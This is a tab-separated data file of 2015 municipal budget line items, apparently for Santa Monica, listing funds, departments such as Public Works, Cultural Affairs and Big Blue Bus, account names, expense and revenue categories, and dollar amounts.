16984	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579330.0	TRANSFER IN FROM GENERAL FUND		 Supplies and Expenses	2015	-453493.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-453493.0
16985	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561117.0	ST JOSEPH CENTER HPSHP-PROP A	808.0	 Supplies and Expenses	2015	8180.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8180.0
16986	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-DISBLD (SMARS)	808.0	 Supplies and Expenses	2015	30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30000.0
16987	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408540.0	MULTI MODAL TRAVEL & PARKING	610.0	Intergovernmental	2015	-625150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-625150.0
16988	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511490.0	OVERTIME	810.0	Salaries and Wages	2015	1656.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1656.0
16989	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	1770.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1770.0
16990	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EAP	810.0	Salaries and Wages	2015	105.0	0	0	0	0	0	0.0	0	0	0	0	0.0	105.0
16991	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	415.0	0	0	0	0	0	0.0	0	0	0	0	0.0	415.0
16992	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522991.0	FREIGHT AND SHIPPING	808.0	 Supplies and Expenses	2015	4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4000.0
16993	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2015	12644.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12644.0
16994	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2015	18120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18120.0
16995	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544014.0	FILTER MEDIA REPLACEMENT	808.0	 Supplies and Expenses	2015	1200000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1200000.0
16996	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544015.0	FIELD EQUIP & TOOLS	808.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
16997	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402940.0	BEACH CONV FUEL STN REPL	650.0	Charges for Service	2015	-7500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7500.0
16998	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	1996.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1996.0
16999	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2015	428.0	0	0	0	0	0	0.0	0	0	0	0	0.0	428.0
17000	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2015	91835.0	0	0	0	0	0	0.0	0	0	0	0	0.0	91835.0
17001	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	39439.0	0	0	0	0	0	0.0	0	0	0	0	0.0	39439.0
17002	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	578390.0	PROP A LOCAL  RETURN-TRANS	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17003	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561119.0	OPCC SOJOURN - PROP A	808.0	 Supplies and Expenses	2015	600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	600.0
17004	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	408000.0	INTERFUND SERVICES-RES	612.0	Charges for Service	2015	-120153.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-120153.0
17005	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408510.0	BIKE NETWORK LINK EXPO-METRO	610.0	Intergovernmental	2015	-1320234.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1320234.0
17006	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408570.0	BIKESHARE AQMD GRANT	610.0	Intergovernmental	2015	-260000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-260000.0
17007	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	18946.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18946.0
17008	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		UNEMPLOYMENT	810.0	Salaries and Wages	2015	287.0	0	0	0	0	0	0.0	0	0	0	0	0.0	287.0
17009	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	120.0
17010	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
17011	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17012	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	403110.0	TDA ARTICLE III	610.0	Intergovernmental	2015	-135120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-135120.0
17013	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2015	3451.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3451.0
17014	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	38898.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38898.0
17015	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	223839.0	0	0	0	0	0	0.0	0	0	0	0	0.0	223839.0
17016	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2015	42933.0	0	0	0	0	0	0.0	0	0	0	0	0.0	42933.0
17017	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	12685.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12685.0
17018	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	175558.0	0	0	0	0	0	0.0	0	0	0	0	0.0	175558.0
17019	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	273708.0	0	0	0	0	0	0.0	0	0	0	0	0.0	273708.0
17020	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2015	286.0	0	0	0	0	0	0.0	0	0	0	0	0.0	286.0
17021	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	2021.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2021.0
17022	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
17023	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	9000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9000.0
17024	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	1205173.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1205173.0
17025	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	2850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2850.0
17026	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2015	1506.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1506.0
17027	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	51136.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51136.0
17028	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2015	26836.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26836.0
17029	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-42512.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-42512.0
17030	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	6237.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6237.0
17031	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2015	69847.0	0	0	0	0	0	0.0	0	0	0	0	0.0	69847.0
17032	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522130.0	UTILITIES - WATER	810.0	 Supplies and Expenses	2015	35759.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35759.0
17033	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17034	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	578920.0	PROP A-MAINT (NOT LOCAL RETRN)	808.0	 Supplies and Expenses	2015	40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40000.0
17035	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400020.0	PROPERTY TAXES - UNSECURED	602.0	Property Taxes	2015	-1023000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1023000.0
17036	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400130.0	TRANSIENT OCCUPANCY TAX	606.0	Other Local Taxes	2015	-51410000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-51410000.0
17037	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	540590.0	EMPLOYEE RECOGNITION & APPRECI	808.0	 Supplies and Expenses	2015	690.0	0	0	0	0	0	0.0	0	0	0	0	0.0	690.0
17038	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2015	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
17039	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-5575.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5575.0
17040	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
17041	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	2624362.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2624362.0
17042	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	76039.0	0	0	0	0	0	0.0	0	0	0	0	0.0	76039.0
17043	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	18452.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18452.0
17044	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2015	32000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	32000.0
17045	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	407490.0	PLAN CHECK FEES-LANDSCAPE&FORE	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17046	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533110.0	SPECIAL EQUIPMENT-OPER SUPS	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17047	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
17048	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
17049	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544200.0	SPORTS SUPPLIES	808.0	 Supplies and Expenses	2015	35616.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35616.0
17050	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2015	581.0	0	0	0	0	0	0.0	0	0	0	0	0.0	581.0
17051	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	55781.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55781.0
17052	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	1323.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1323.0
17053	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2015	5869.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5869.0
17054	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
17055	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2015	30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30000.0
17056	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	1235274.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1235274.0
17057	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	244196.0	0	0	0	0	0	0.0	0	0	0	0	0.0	244196.0
17058	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	3028.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3028.0
17059	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	12520.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12520.0
17060	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522160.0	TRANSFER STATION FEE	810.0	 Supplies and Expenses	2015	1216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1216.0
17061	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2015	133713.0	0	0	0	0	0	0.0	0	0	0	0	0.0	133713.0
17062	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2015	-40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-40000.0
17063	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407202.0	ROSIE'S GIRLS-MATERIALS FEES	622.0	Other	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17064	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511050.0	CAPITAL PROJECT STAFFING	808.0	Salaries and Wages	2015	-295608.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-295608.0
17065	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522120.0	UTILITIES - NATURAL GAS	808.0	 Supplies and Expenses	2015	300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	300.0
17066	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2015	650.0	0	0	0	0	0	0.0	0	0	0	0	0.0	650.0
17067	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	12910.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12910.0
17068	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	101364.0	0	0	0	0	0	0.0	0	0	0	0	0.0	101364.0
17069	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	2553.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2553.0
17070	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	694306.0	0	0	0	0	0	0.0	0	0	0	0	0.0	694306.0
17071	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-38163.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-38163.0
17072	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2015	550099.0	0	0	0	0	0	0.0	0	0	0	0	0.0	550099.0
17073	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
17074	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2015	700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	700.0
17075	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	404970.0	OFFSITE IMPROVEMENTS REIMBURSE	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17076	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2015	-66000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-66000.0
17077	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	405140.0	415 PCH - CONCESSIONS	612.0	Charges for Service	2015	-181500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-181500.0
17078	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	17420.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17420.0
17079	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	141034.0	0	0	0	0	0	0.0	0	0	0	0	0.0	141034.0
17080	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2015	7486.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7486.0
17081	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17082	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2015	23000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23000.0
17083	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545010.0	AQUATIC SUPPLIES	810.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
17084	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	1962.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1962.0
17085	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2015	1043.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1043.0
17086	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522950.0	CNG FUEL	810.0	 Supplies and Expenses	2015	1334.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1334.0
17087	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	545010.0	AQUATIC SUPPLIES	810.0	 Supplies and Expenses	2015	68400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	68400.0
17088	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	569360.0	INNOVATIONS	804.0	 Supplies and Expenses	2015	16000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16000.0
17089	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-24614.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-24614.0
17090	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	85000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	85000.0
17091	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	673956.0	0	0	0	0	0	0.0	0	0	0	0	0.0	673956.0
17092	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17093	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	12390.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12390.0
17094	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2015	7768.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7768.0
17095	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511970.0	OTHER FRINGE BENEFITS	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17096	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	3289.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3289.0
17097	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2015	16296.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16296.0
17098	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
17099	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	518922.0	0	0	0	0	0	0.0	0	0	0	0	0.0	518922.0
17100	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2015	4500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4500.0
17101	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2015	3094.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3094.0
17102	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2015	307324.0	0	0	0	0	0	0.0	0	0	0	0	0.0	307324.0
17103	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
17104	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	24670.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24670.0
17105	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570320.0	TRANS TO 01-GLOW, PLGRND PRTNR	910.0	 Supplies and Expenses	2015	35600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35600.0
